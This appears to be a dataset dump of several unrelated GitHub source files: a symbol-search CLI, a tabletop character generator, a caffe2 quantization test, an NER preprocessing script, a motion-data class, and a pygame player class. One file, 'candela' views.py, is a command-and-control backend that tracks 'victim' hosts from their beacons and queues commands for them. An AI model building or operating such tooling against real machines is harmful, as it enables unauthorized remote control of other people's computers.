fully_typed,\n no_init,\n check,\n replace,\n rexec,\n csv_,\n tsv,\n json_,\n nl,\n id_prefix,\n):\n \"\"\"\n Find symbols in Python code and print the code for them.\n\n Example usage:\n\n \\b\n # Search current directory and subdirectories\n symbex my_function MyClass\n\n \\b\n # Search using a wildcard\n symbex 'test_*'\n\n \\b\n # Find a specific class method\n symbex 'MyClass.my_method'\n\n \\b\n # Find class methods using wildcards\n symbex '*View.handle_*'\n\n \\b\n # Search a specific file\n symbex MyClass -f my_file.py\n\n \\b\n # Search within a specific directory and its subdirectories\n symbex Database -d ~/projects/datasette\n\n \\b\n # View signatures for all symbols in current directory and subdirectories\n symbex -s\n\n \\b\n # View signatures for all test functions\n symbex 'test_*' -s\n\n \\b\n # View signatures for all async functions with type definitions\n symbex --async --typed -s\n\n \\b\n # Count the number of --async functions in the project\n symbex --async --count\n\n \\b\n # Replace my_function with a new implementation:\n echo \"def my_function(a, b):\n # This is a replacement implementation\n return a + b + 3\n \" | symbex my_function --replace\n\n \\b\n # Replace my_function with the output of a command:\n symbex first_function --rexec \"sed 's/^/# /'\"\n # This uses sed to comment out the function body\n \"\"\"\n # Only one of --json, --csv, --tsv, --nl\n output_formats = [csv_, tsv, json_, nl]\n if sum(output_formats) > 1:\n raise click.ClickException(\"Only one of --csv, --tsv, --json, --nl can be used\")\n if id_prefix and not sum(output_formats):\n raise click.ClickException(\n \"--id-prefix can only be used with --csv, --tsv, --json or --nl\"\n )\n if id_prefix is None:\n id_prefix = \"\"\n\n if modules:\n module_dirs = []\n module_files = []\n for module in modules:\n try:\n mod = importlib.import_module(module)\n mod_path = pathlib.Path(inspect.getfile(mod))\n if mod_path.stem == \"__init__\":\n module_dirs.append(mod_path.parent)\n else:\n module_files.append(mod_path)\n except ModuleNotFoundError:\n raise click.ClickException(\"Module not found: {}\".format(module))\n directories = [*directories, *module_dirs]\n files = [*files, *module_files]\n if module_dirs or module_files:\n if not symbols:\n symbols = [\"*\"]\n site_packages_dirs = site.getsitepackages()\n stdlib_dir = pathlib.Path(pathlib.__file__).parent\n sys_paths = [*site_packages_dirs, str(stdlib_dir), *sys_paths]\n\n if no_init:\n fully_typed = True\n if stdlib and not directories and not files:\n silent = True\n if stdlib:\n stdlib_folder = pathlib.Path(pathlib.__file__).parent.resolve()\n directories = [*directories, *[stdlib_folder]]\n if str(stdlib_folder) not in sys_paths:\n sys_paths = [*[str(stdlib_folder)], *sys_paths]\n if count or docs:\n signatures = True\n if imports and not symbols:\n signatures = True\n # Show --help if no filter options are provided:\n if not any(\n [\n symbols,\n signatures,\n async_,\n unasync,\n function,\n class_,\n documented,\n undocumented,\n public,\n private,\n dunder,\n typed,\n untyped,\n partially_typed,\n fully_typed,\n no_init,\n modules,\n ]\n ):\n ctx = click.get_current_context()\n click.echo(ctx.get_help())\n ctx.exit()\n\n if rexec:\n replace = True\n no_file = True\n\n if replace and signatures:\n raise click.ClickException(\"--replace cannot be used with --signatures\")\n if replace:\n no_file = True\n # Default to '*' if --signatures or filters are provided without symbols\n if (\n any(\n [\n signatures,\n async_,\n unasync,\n function,\n class_,\n documented,\n undocumented,\n public,\n private,\n dunder,\n typed,\n untyped,\n partially_typed,\n fully_typed,\n no_init,\n modules,\n ]\n )\n and not symbols\n ):\n symbols = [\"*\"]\n if not files and not directories:\n directories = [\".\"]\n\n excludes = [pathlib.Path(exclude) for exclude in excludes]\n\n def iterate_files():\n yield from (pathlib.Path(f) for f in files)\n for directory in directories:\n for path in pathlib.Path(directory).rglob(\"*.py\"):\n # Skip if path is inside any of 'excludes'\n if any(is_subpath(path, exclude) for exclude in excludes):\n continue\n if path.is_file():\n yield path\n\n # If any --filters were supplied, handle them:\n if any(\n [\n async_,\n unasync,\n function,\n class_,\n documented,\n undocumented,\n public,\n private,\n dunder,\n typed,\n untyped,\n partially_typed,\n fully_typed,\n no_init,\n ]\n ):\n # Return just nodes matching filters\n def filter(node: ast.AST) -> bool:\n # Filters must ALL match\n if async_ and not isinstance(node, ast.AsyncFunctionDef):\n return False\n if function and not isinstance(\n node, (ast.FunctionDef, ast.AsyncFunctionDef)\n ):\n return False\n if unasync and not isinstance(node, ast.FunctionDef):\n return False\n if class_ and not isinstance(node, ast.ClassDef):\n return False\n if documented and not ast.get_docstring(node):\n return False\n if undocumented and ast.get_docstring(node):\n return False\n if public and node.name.startswith(\"_\") and not is_dunder(node.name):\n return False\n if private and (is_dunder(node.name) or not node.name.startswith(\"_\")):\n return False\n if dunder and not is_dunder(node.name):\n return False\n summary = type_summary(node)\n # if no summary, type filters all fail\n if not summary and (\n typed or untyped or partially_typed or fully_typed or no_init\n ):\n return False\n # Apply type filters\n if typed and not summary.partially:\n return False\n if untyped and summary.partially:\n return False\n if partially_typed and not (summary.partially and not summary.fully):\n return False\n if no_init and node.name == \"__init__\":\n return False\n if fully_typed and not summary.fully:\n return False\n return True\n\n else:\n # All nodes are allowed\n def filter(node: ast.AST) -> bool:\n return True\n\n pwd = pathlib.Path(\".\").resolve()\n num_matches = 0\n replace_matches = []\n\n def stuff_to_output():\n nonlocal num_matches\n for file in iterate_files():\n try:\n code = read_file(file)\n except UnicodeDecodeError as ex:\n if not silent:\n click.secho(\n f\"# Unicode error in {file}: {ex}\", err=True, fg=\"yellow\"\n )\n continue\n try:\n nodes = find_symbol_nodes(code, str(file), symbols)\n except SyntaxError as ex:\n if not silent:\n click.secho(\n f\"# Syntax error in {file}: {ex}\", err=True, fg=\"yellow\"\n )\n continue\n for node, class_name in nodes:\n if not filter(node):\n continue\n if count or check:\n num_matches += 1\n if count or not signatures:\n continue\n # If file is within pwd, print relative path\n if pwd in file.resolve().parents:\n path = file.resolve().relative_to(pwd)\n else:\n # else print absolute path\n path = file.resolve()\n snippet, line_no = code_for_node(\n code, node, class_name, signatures, docs\n )\n if replace:\n replace_matches.append((file.resolve(), snippet, line_no))\n continue\n\n output_identifier_line = None\n output_import_line = None\n symbol_id = None\n\n if not no_file:\n bits = [\"# File:\", path]\n if class_name:\n bits.extend([\"Class:\", class_name])\n bits.extend([\"Line:\", line_no])\n symbol_id = \"{}:{}\".format(path, line_no)\n output_identifier_line = \" \".join(str(bit) for bit in bits)\n if imports:\n import_line = import_line_for_function(\n node.name, path, sys_paths or directories\n )\n # If it's a class then output '# from x import Class' instead\n if class_name:\n import_line = (\n import_line.split(\" import \")[0] + \" import \" + class_name\n )\n symbol_id = import_line\n output_import_line = \"# \" + import_line\n\n yield Output(\n symbol_id, output_identifier_line, output_import_line, snippet\n )\n\n if sum(output_formats) == 0:\n for item in stuff_to_output():\n if item.output_identifier_line:\n click.echo(item.output_identifier_line)\n if item.output_import_line:\n click.echo(item.output_import_line)\n click.echo(item.snippet)\n click.echo()\n else:\n # Do the fancy output formats thing\n to_output(\n sys.stdout,\n ((id_prefix + item.symbol_id, item.snippet) for item in stuff_to_output()),\n format=\"csv\" if csv_ else \"tsv\" if tsv else \"json\" if json_ else \"nl\",\n )\n return\n\n if count:\n click.echo(num_matches)\n\n if check and num_matches > 0:\n sys.exit(1)\n\n if replace:\n # Only works if we got a single match\n if len(replace_matches) != 1:\n raise click.ClickException(\n \"--replace only works with a single match, got {}\".format(\n len(replace_matches)\n )\n )\n filepath, to_replace = replace_matches[0][:2]\n if rexec:\n # Run to_replace through that command\n p = subprocess.Popen(\n rexec,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True,\n )\n stdout, stderr = p.communicate(input=to_replace.encode())\n if p.returncode != 0:\n raise click.ClickException(\n f\"Command '{rexec}' failed with exit code {p.returncode}\"\n f\", stderr: {stderr.decode()}\"\n )\n\n replacement = stdout.decode()\n else:\n if sys.stdin.isatty():\n raise click.ClickException(\n \"--replace only works with text piped to it on stdin\"\n )\n new_lines = sys.stdin.readlines()\n # Check if any lines were read\n if len(new_lines) == 0:\n raise click.ClickException(\"No input for --replace found on stdin\")\n replacement = \"\".join(new_lines)\n old = filepath.read_text(\"utf-8\")\n new = old.replace(to_replace, replacement)\n filepath.write_text(new, \"utf-8\")\n\n\ndef is_subpath(path: pathlib.Path, parent: pathlib.Path) -> bool:\n try:\n path.relative_to(parent)\n return True\n except ValueError:\n return False\n\n\ndef is_dunder(name):\n return name.startswith(\"__\") and name.endswith(\"__\")\n\n\ndef to_output(\n fp: TextIO,\n lines: Iterable[Tuple[str, str]],\n format: Literal[\"csv\", \"tsv\", \"json\", \"nl\"] = \"csv\",\n) -> None:\n if format == \"nl\":\n for id, content in lines:\n line = json.dumps({\"id\": id, \"code\": content})\n fp.write(line + \"\\n\")\n return\n\n elif format == \"json\":\n fp.write(\"[\")\n first = True\n for id, content in lines:\n line = json.dumps({\"id\": id, \"code\": content})\n if first:\n fp.write(line)\n first = False\n else:\n fp.write(\",\\n \" + line)\n fp.write(\"]\\n\")\n return\n\n dialect = \"excel\" if format == \"csv\" else \"excel-tab\"\n writer = csv.writer(fp, dialect=dialect)\n\n # Write header\n writer.writerow([\"id\", \"code\"])\n\n # Write content\n for id, content in lines:\n writer.writerow([id, content])\n","repo_name":"simonw/symbex","sub_path":"symbex/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":18257,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"72"} +{"seq_id":"29493449738","text":"from randomizer import random_good_traits\nimport random\n\n\nclass PlayerCharacter:\n def __init__(self):\n \"\"\"\n Creates random player character.\n \"\"\"\n self.stats = {}\n self.name = \"Maggarakeisari\"\n self.generate_stats()\n self.background = random_good_traits()\n self.update_traits_to_stats()\n\n def generate_stats(self):\n self.generate_basic_stats()\n\n def add_stat(self, stat):\n new_key = {stat.shortdesc:stat}\n self.stats.update(new_key)\n\n def generate_basic_stats(self):\n self.add_stat(Stat(\"Kunto\", \"KUN\"))\n self.add_stat(Stat(\"Koko\", \"KOK\"))\n self.add_stat(Stat(\"Ketteryys\", \"KET\"))\n self.add_stat(Stat(\"Äly\", \"ALY\"))\n self.add_stat(Stat(\"Viisaus\", \"VII\"))\n self.add_stat(Stat(\"Vetovoima\", \"VET\"))\n self.add_stat(Stat(\"Koulutus\", \"KOU\"))\n self.add_stat(Stat(\"Koulutus\", \"KOU\"))\n\n def update_traits_to_stats(self):\n \"\"\"\n Updates possible effect of each trait to character\n :return:\n \"\"\"\n for trait in self.background:\n if trait.effect_to_stats:\n for effect in trait.effect_to_stats:\n updated_value = self.stats[effect].number + trait.effect_to_stats[effect]\n if updated_value < 0:\n updated_value = 0\n self.stats[effect].number = updated_value\n print(\"added {} to stats\".format(trait.name))\n\n\nclass Stat:\n def __init__(self, description, shortdesc, number=\"random_basic_stat\"):\n self.description = description\n self.shortdesc = shortdesc\n if number == \"random_basic_stat\":\n d1 = random.randint(1, 6)\n d2 = random.randint(1, 6)\n d3 = random.randint(1, 6)\n d4 = random.randint(1, 6)\n self.number = d1+d2+d3+d4-3\n if description is not \"Koulutus\" and self.number < 3:\n self.number = 3\n","repo_name":"Suolakala/meatgenerator","sub_path":"pc.py","file_name":"pc.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34563879249","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.utils import timezone\n#from django.template import loader\n\nimport xml.etree.ElementTree as ET\nimport sys\n\nfrom .models import Victim,Command\nfrom .forms import NewCommandForm\nfrom .utils import Beacon\n\n\ndef receive_beacon(request):\n if not request.body:\n return HttpResponse('Empty')\n\n beacon = Beacon(request.body)\n\n # How do we distinguish a returning host from an old\n # acquaintance with different parameters? Which parameters\n # are relevant, which aren't?\n victim = Victim.objects.filter(host_name=beacon.host_name,\n os=beacon.os)\n\n if victim and victim.count() == 1: # We found an exact match\n victim = victim[0]\n # We update the victim's information\n if victim.external_ip != beacon.external_ip:\n victim.external_ip = beacon.external_ip\n if victim.current_user != beacon.current_user:\n victim.current_user = beacon.current_user\n if victim.os != beacon.os:\n victim.os = beacon.os\n if victim.admin != beacon.admin:\n victim.admin = beacon.admin\n else:\n victim = Victim.from_beacon(beacon)\n \n victim.save()\n\n # Now the victim is in our database with the updated info,\n # we check to see if there are any commands in the stack waiting\n # to be sent over. If so, format them into a BeaconResponse and\n # send them over, otherwise send an empty response/something else.\n #cmds_to_send = victim.command_set.filter(status=Command.ADDED)\n cmds_to_send = victim.command_set.filter(status=Command.ADDED)\n beacon_resp = Beacon.beacon_response(cmds_to_send)\n cmds_to_send.update(status=Command.SENT)\n # Then add the commands to the sent commandd\n #for cmd in stack:\n # victim.sentcommand_set.create(command_type=cmd.command_type,\n # param=cmd.param)\n\n # Now they can be removed from the stack\n #stack.delete()\n\n return HttpResponse(beacon_resp + '\\n')\n\n\ndef victims_index(request):\n return render(request, 'candela/index.html')\n\n\ndef list_victims(request):\n latest_victim_list = Victim.objects.order_by('-last_beacon')\n #template = loader.get_template('candela/index.html')\n context = {'latest_victim_list': latest_victim_list}\n return render(request, 'candela/list.html', context)\n\n\ndef list_sent(request, id):\n try:\n v = Victim.objects.get(pk=id)\n except Victim.DoesNotExist:\n return HttpResponse('Wrong ID')\n\n cmds = v.command_set.filter(status=Command.SENT).order_by('-timestamp')\n context = {'commands_sent': cmds}\n return render(request, 'candela/sent.html', context)\n\n\n# Renders the current stack as an HTML table. Only the table\n# and nothing else is returned.\ndef list_stack(request, id):\n try:\n v = Victim.objects.get(pk=id)\n except Victim.DoesNotExist:\n return HttpResponse('Wrong ID')\n\n # if POST, first insert the new command into the database,\n # then display the updated list as usual\n if request.method == 'POST':\n form = NewCommandForm(request.POST)\n if form.is_valid():\n command_type = form.cleaned_data['command_type']\n command_param = form.cleaned_data['command_param']\n v.command_set.create(command_type=command_type,\n command_param=command_param)\n\n added = v.command_set.filter(status=Command.ADDED)\n context = {\n 'victim_id': v.id,\n 'commands_stacked': added,\n }\n return render(request, 'candela/stack.html', context)\n\n\n# Returns the detail view of a victim, consisting of the current\n# list of commands sent, the current list of commands waiting to be\n# sent as well as a form for adding new commands to the stack\ndef victim_details(request, id):\n try:\n v = Victim.objects.get(pk=id)\n except Victim.DoesNotExist:\n return HttpResponse('Wrong ID')\n\n sent = v.command_set.filter(status=Command.SENT).order_by('-timestamp')\n stacked = v.command_set.filter(status=Command.ADDED)\n form = NewCommandForm()\n context = {\n 'victim_id': v.id,\n 'commands_sent': sent,\n 'commands_stacked': stacked,\n 'form': form,\n }\n return render(request, 'candela/detail.html', context)\n","repo_name":"norrell/candela","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14817552269","text":"\n\nimport collections\n\nimport caffe2.python.hypothesis_test_util as hu\nimport hypothesis.strategies as st\nimport numpy as np\nfrom caffe2.python import core, dyndep, workspace\nfrom caffe2.quantization.server import utils as dnnlowp_utils\nfrom caffe2.quantization.server.dnnlowp_test_utils import (\n avoid_vpmaddubsw_overflow_fc,\n check_quantized_results_close,\n run_conv_or_fc,\n)\nfrom hypothesis import given\n\n\ndyndep.InitOpsLibrary(\"//caffe2/caffe2/quantization/server:dnnlowp_ops\")\nworkspace.GlobalInit([\"caffe2\", \"--caffe2_omp_num_threads=11\"])\n\n\nclass DNNLowPFullyConnectedOpTest(hu.HypothesisTestCase):\n # correctness test with no quantization error in inputs\n @given(\n input_channels=st.sampled_from([3, 4, 5, 8, 16, 32]),\n output_channels=st.integers(2, 16),\n batch_size=st.integers(0, 16),\n in_quantized=st.booleans(),\n out_quantized=st.booleans(),\n weight_quantized=st.booleans(),\n prepack_weight=st.booleans(),\n preserve_activation_sparsity=st.booleans(),\n preserve_weight_sparsity=st.booleans(),\n fuse_relu=st.booleans(),\n output_packed_bias=st.booleans(),\n use_input_qparam=st.booleans(),\n use_output_qparam=st.booleans(),\n **hu.gcs_cpu_only\n )\n def test_dnnlowp_fully_connected_int(\n self,\n input_channels,\n output_channels,\n batch_size,\n in_quantized,\n out_quantized,\n weight_quantized,\n prepack_weight,\n preserve_activation_sparsity,\n preserve_weight_sparsity,\n fuse_relu,\n output_packed_bias,\n use_input_qparam,\n use_output_qparam,\n gc,\n dc,\n ):\n # X and W have scale 1, so exactly represented after quantization\n X_min = 0 if preserve_activation_sparsity else -77\n X_max = X_min + 255\n X = np.round(\n np.random.rand(batch_size, input_channels) * (X_max - X_min) + X_min\n )\n X = X.astype(np.float32)\n # input channels 0 and 1 are all X_min to avoid overflow from vpmaddubsw\n # when multiplied with W_min and W_max\n X[:, 0] = X_min\n if batch_size != 0:\n X[0, 1] = X_max\n\n if preserve_weight_sparsity:\n W_min = -128\n W_max = 100\n else:\n W_min = -100\n W_max = W_min + 255\n W = np.round(\n np.random.rand(output_channels, input_channels) * (W_max - W_min) + W_min\n )\n W = W.astype(np.float32)\n W[0, 0] = W_min\n W[1, 0] = W_max\n\n # Make sure we won't have overflows from vpmaddubsw instruction used in\n # fbgemm\n avoid_vpmaddubsw_overflow_fc(\n batch_size,\n input_channels,\n output_channels,\n X,\n X_min,\n X_max,\n W,\n W_min,\n W_max,\n )\n\n b = np.random.randn(output_channels).astype(np.float32)\n\n Output = collections.namedtuple(\"Output\", [\"Y\", \"op_type\", \"engine\"])\n outputs = []\n\n op_engine_list = [(\"FC\", \"\", False, False)]\n if fuse_relu:\n op_engine_list += [(\"Int8FCRelu\", \"DNNLOWP\", False, False)]\n else:\n op_engine_list += [\n # type, engine, do_fuse, skip_requantization\n (\"FC\", \"DNNLOWP\", False, False),\n (\"FC\", \"DNNLOWP_16\", False, False),\n (\"Int8FC\", \"DNNLOWP\", False, False),\n (\"Int8FC\", \"DNNLOWP\", True, False),\n (\"Int8FC\", \"DNNLOWP\", False, True),\n (\"Int8FC\", \"DNNLOWP\", True, True),\n ]\n\n for op_type, engine, do_fuse, skip_requantization in op_engine_list:\n init_net = core.Net(\"test_init_net\")\n net = core.Net(\"test_net\")\n\n do_quantize = \"DNNLOWP\" in engine and in_quantized and not do_fuse\n do_dequantize = \"DNNLOWP\" in engine and out_quantized and not skip_requantization\n do_quantize_weight = (\n engine == \"DNNLOWP\" and weight_quantized and len(outputs) > 0\n )\n do_prepack_weight = engine == \"DNNLOWP\" and prepack_weight\n\n if do_quantize:\n quantize = core.CreateOperator(\n \"Quantize\",\n [\"X\"],\n [\"X_q\"],\n preserve_activation_sparsity=preserve_activation_sparsity,\n engine=engine,\n device_option=gc,\n )\n net.Proto().op.extend([quantize])\n\n X_min = 0 if X.size == 0 else X.min()\n X_max = 0 if X.size == 0 else X.max()\n x_q_param = dnnlowp_utils.choose_quantization_params(\n X_min, X_max, preserve_activation_sparsity\n )\n w_q_param = None\n if do_quantize_weight:\n (\n int8_given_tensor_fill,\n w_q_param,\n ) = dnnlowp_utils.create_int8_given_tensor_fill(\n W, \"W_q\", preserve_weight_sparsity\n )\n init_net.Proto().op.extend([int8_given_tensor_fill])\n\n # Bias\n int8_bias_tensor_fill = dnnlowp_utils.create_int8_bias_tensor_fill(\n b, \"b_q\", x_q_param, w_q_param\n )\n init_net.Proto().op.extend([int8_bias_tensor_fill])\n\n if do_prepack_weight:\n inputs = [\"W_q\" if do_quantize_weight else \"W\"]\n if do_dequantize:\n inputs += [\"b_q\" if do_quantize_weight else \"b\"]\n pack = core.CreateOperator(\n \"Int8FCPackWeight\",\n inputs,\n [\"W_packed\", \"B_q32\"]\n if do_dequantize and output_packed_bias\n else [\"W_packed\"],\n preserve_weight_sparsity=preserve_weight_sparsity,\n in_scale=x_q_param.scale,\n engine=engine,\n )\n init_net.Proto().op.extend([pack])\n\n fc = core.CreateOperator(\n op_type,\n [\n \"X_q\" if do_quantize else \"X\",\n \"W_packed\"\n if do_prepack_weight\n else (\"W_q\" if do_quantize_weight else \"W\"),\n \"b_q\" if do_quantize_weight else \"b\",\n # \"quant_param\",\n ],\n [\"Y_q\" if do_dequantize else \"Y\"],\n dequantize_output=not do_dequantize,\n preserve_activation_sparsity=preserve_activation_sparsity,\n preserve_weight_sparsity=preserve_weight_sparsity,\n engine=engine,\n device_option=gc,\n )\n if op_type != \"FC\":\n if (do_dequantize and use_output_qparam) or (use_input_qparam and op_type == \"Int8_FC\"):\n fc.input.extend([\"quant_param\"])\n if (use_input_qparam and op_type == \"Int8_FC\"):\n fc.input.extend([\"X_quant_param\"])\n\n if do_quantize_weight or do_prepack_weight:\n # When quantized weight is provided, we can't rescale the\n # output dynamically by looking at the range of output of each\n # batch, so here we provide the range of output observed from\n # fp32 reference implementation\n dnnlowp_utils.add_quantization_param_args(\n fc, outputs[0][0], preserve_activation_sparsity\n )\n\n net.Proto().op.extend([fc])\n if fuse_relu and \"DNNLOWP\" not in engine:\n net.Relu([\"Y\"], \"Y\")\n\n if do_dequantize:\n dequantize = core.CreateOperator(\n \"Dequantize\", [\"Y_q\"], [\"Y\"], engine=engine, device_option=gc\n )\n net.Proto().op.extend([dequantize])\n\n\n\n if use_output_qparam and do_dequantize and op_type != \"FC\":\n ref_output = outputs[0][0]\n ref_output_min = 0 if ref_output.size == 0 else ref_output.min()\n ref_output_max = 0 if ref_output.size == 0 else ref_output.max()\n\n q_param = dnnlowp_utils.choose_quantization_params(\n ref_output_min, ref_output_max, preserve_activation_sparsity\n )\n q_param_scale = q_param.scale\n q_param_zero_point = q_param.zero_point\n else:\n q_param_scale = None\n q_param_zero_point = None\n\n if not (use_input_qparam and op_type == \"Int8FC\"):\n x_q_param_scale = None\n x_q_param_zero_point = None\n else:\n x_q_param_scale = x_q_param.scale\n x_q_param_zero_point = x_q_param.zero_point\n\n run_conv_or_fc(\n self,\n init_net,\n net,\n X,\n W,\n b,\n op_type,\n engine,\n None,\n gc,\n outputs,\n q_param_scale,\n q_param_zero_point,\n x_q_param_scale,\n x_q_param_zero_point,\n )\n\n\n if output_packed_bias and do_prepack_weight and do_dequantize:\n bias_int32 = self.ws.blobs[\"B_q32\"].fetch()\n if do_quantize_weight:\n np.testing.assert_equal(\n bias_int32[0], np.round(b / (x_q_param.scale * w_q_param.scale))\n )\n np.testing.assert_equal(bias_int32[0].dtype, np.int32)\n\n shapes, types = workspace.InferShapesAndTypes(\n [init_net, net],\n blob_dimensions={\n \"X\": [batch_size, input_channels],\n \"W\": [output_channels, input_channels],\n \"b\": [output_channels],\n \"quant_param\": [1],\n \"X_quant_param\": [1],\n },\n blob_types={\n \"X\": core.DataType.FLOAT,\n \"W\": core.DataType.FLOAT,\n \"b\": core.DataType.FLOAT,\n \"quant_param\": core.DataType.FLOAT,\n \"X_quant_param\": core.DataType.FLOAT,\n },\n )\n assert (\n \"Y\" in shapes and \"Y\" in types\n ), \"Failed to infer the shape or type of Y\"\n self.assertEqual(shapes[\"Y\"], [batch_size, output_channels])\n self.assertEqual(types[\"Y\"], core.DataType.FLOAT)\n check_quantized_results_close(outputs, symmetric=preserve_activation_sparsity)\n","repo_name":"pytorch/pytorch","sub_path":"caffe2/quantization/server/fully_connected_dnnlowp_op_test.py","file_name":"fully_connected_dnnlowp_op_test.py","file_ext":"py","file_size_in_byte":10748,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"74219158952","text":"import numpy as np\nimport os\nimport tensorflow as tf\nfrom config import Config\nfrom sklearn.model_selection import train_test_split\nfrom dataobject import CoNLLDataset\nfrom data_utils import get_vocabs, UNK, NUM, \\\n get_glove_vocab, write_vocab, load_vocab, get_char_vocab, \\\n export_trimmed_glove_vectors, get_processing_word\n\n# Create instance of config\nconfig = Config()\n\nprocessing_word = get_processing_word(lowercase=True)\n\n# Generators\ndev = CoNLLDataset(config.filename_dev, processing_word)\ntest = CoNLLDataset(config.filename_test, processing_word)\ntrain = CoNLLDataset(config.filename_train, processing_word)\n\n# Build Word and Tag vocab\nvocab_words, vocab_tags = get_vocabs([train, dev, test])\nvocab_glove = get_glove_vocab(config.filename_glove)\nvocab = vocab_words & vocab_glove\nvocab.add(config.UNK)\nvocab.add(config.NUM)\n\n# Save vocab\nwrite_vocab(vocab, config.filename_words)\nwrite_vocab(vocab_tags, config.filename_tags)\n\n# Trim GloVe Vectors\nvocab = load_vocab(config.filename_words)\nexport_trimmed_glove_vectors(vocab, config.filename_glove,\n config.filename_trimmed, config.dim_word)\n\n# Build and save char vocab\ntrain = CoNLLDataset(config.filename_train)\nvocab_chars = get_char_vocab(train)\nwrite_vocab(vocab_chars, config.filename_chars)\n\n","repo_name":"dkarunakaran/entity_recoginition_deep_learning","sub_path":"data_prep.py","file_name":"data_prep.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"72"} +{"seq_id":"20819119623","text":"import json\nimport datetime\n\n\nclass JointStruct:\n def __init__(self):\n self.Cmd = [] # u(k, i)\n self.Est = [] # a(k, i)\n self.Ref = [] # r(i)\n self.Sensor = [] # y(k, i)\n self.Time = [] # t(i)\n self.json = {}\n\n def updatedatafromjson(self, jsondata):\n self.Cmd = jsondata[\"Cmd\"]\n self.Est = jsondata[\"Est\"]\n self.Ref = jsondata[\"Ref\"]\n self.Sensor = jsondata[\"Sensor\"]\n self.Time = jsondata[\"Time\"]\n self.json = jsondata\n\n def refreshjsonfromdata(self):\n self.json[\"Cmd\"] = self.Cmd\n self.json[\"Est\"] = self.Est\n self.json[\"Ref\"] = self.Ref\n self.json[\"Sensor\"] = self.Sensor\n self.json[\"Time\"] = self.Time\n return self.json\n\n\nclass ThrowData:\n def __init__(self):\n self.TrialNumber = -1\n self.SamplingFrequency = 0\n self.ArraySize = 0\n self.DateCalculated = {}\n self.DateExecuted = {}\n self.Shoulder = JointStruct()\n self.Elbow = JointStruct()\n self.json = {}\n self.json[\"TrialNumber\"] = 0\n self.json[\"Shoulder\"] = {}\n self.json[\"Elbow\"] = {}\n\n def updatedatafromjson(self, jsondata):\n self.TrialNumber = jsondata[\"TrialNumber\"]\n self.SamplingFrequency = jsondata[\"SamplingFrequency\"]\n self.ArraySize = jsondata[\"ArraySize\"]\n self.DateCalculated = datetime.datetime.strptime(jsondata[\"DateCalculated\"], '%Y-%m-%dT%H:%M:%S.%fZ')\n self.DateExecuted = datetime.datetime.strptime(jsondata[\"DateExecuted\"], '%Y-%m-%dT%H:%M:%S.%fZ')\n self.Shoulder.updatedatafromjson(jsondata[\"Shoulder\"])\n self.Elbow.updatedatafromjson(jsondata[\"Elbow\"])\n self.json = jsondata\n\n def readfile(self, filename):\n jsonfile = open(filename, \"r\")\n jsondata = json.load(jsonfile)\n self.updatedatafromjson(jsondata)\n jsonfile.close()\n\n def writefile(self, filename):\n jsonfile = open(filename, \"w\")\n self.refreshjsonfromdata()\n json.dump(self.json, jsonfile)\n jsonfile.close()\n\n def refreshjsonfromdata(self): # when adding elements, the string is added to beginning, not the end\n self.json[\"Elbow\"] = self.Elbow.refreshjsonfromdata()\n self.json[\"Shoulder\"] = self.Shoulder.refreshjsonfromdata()\n self.json[\"TrialNumber\"] = self.TrialNumber\n self.json[\"SamplingFrequency\"] = self.SamplingFrequency\n self.json[\"ArraySize\"] = self.ArraySize\n self.json[\"DateCalculated\"] = self.DateCalculated.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n self.json[\"DateExecuted\"] = self.DateExecuted.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n\n\n","repo_name":"kuriousDesign/MarinoArm","sub_path":"Python/ThrowData.py","file_name":"ThrowData.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21741579986","text":"#!/usr/bin/env python3\n\nimport argparse\nimport os\nfrom src.core import Model\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(prog='Mass', description='Automate metabolic engineering')\n parser.add_argument('-m', dest='model', help='Model file')\n parser.add_argument('-v', dest='verbose', action='store_true', help='To verbose')\n\n args = parser.parse_args()\n\n if args.model:\n\n if not os.path.isfile(args.model):\n raise ValueError('Invalid model file path: %s' % args.model)\n\n m = Model(p_model=args.model, verbose=args.verbose)\n m.load()\n m.analyze()\n","repo_name":"qks1lver/mass","sub_path":"mass.py","file_name":"mass.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9734398969","text":"import pygame\nfrom itertools import count\n\nfrom .game_object import GameObject\n\n\nclass Player(GameObject):\n \"\"\"A class used to represent a player\n\n An instance should be created when a player shoots, and destroyed\n when it either goes out of bounds or it hits a player.\n\n Attributes\n ----------\n id : int\n This represents the player id. eg. Player 1 -> id=1\n health : int\n This health starts at a certain value and drops when a bullet\n hits the player\n x : int\n The x-coordinate of the game object\n y : int\n The y-coordinate of the game object\n vel_x : int\n The x-velocity of the game object\n vel_y : int\n The y-velocity of the game object\n width : int\n The width of the game object\n height : int\n The height of the game object\n colors : tuple\n A tuple of 3 values [0-255] that correspond to RGB values\n \"\"\"\n\n _ids = count(1)\n MAX_SPEED_X = 5\n MAX_SPEED_Y = 5\n\n\n def __init__(self, x, y, colors, health):\n \"\"\"\n Parameters\n ----------\n id : int\n This represents the player id. eg. Player 1 -> id=1\n health : int\n This health starts at a certain value and drops when a bullet\n hits the player\n x : int\n The x-coordinate of the game object\n y : int\n The y-coordinate of the game object\n \"\"\"\n self.id = next(self._ids)\n self.health = health\n GameObject.__init__(self, x, y, 5, 5, 50, 50, colors)\n\n\n def __str__(self):\n \"\"\"Converting an instance to a string provides info\n\n To run this method, use the built-in str() function on an\n instance.\n\n Returns\n -------\n s : str\n A multi-line string that reads out information about a\n player instance.\n \"\"\"\n s = f\"id: {self.id}\\n\" \\\n + f\"x: 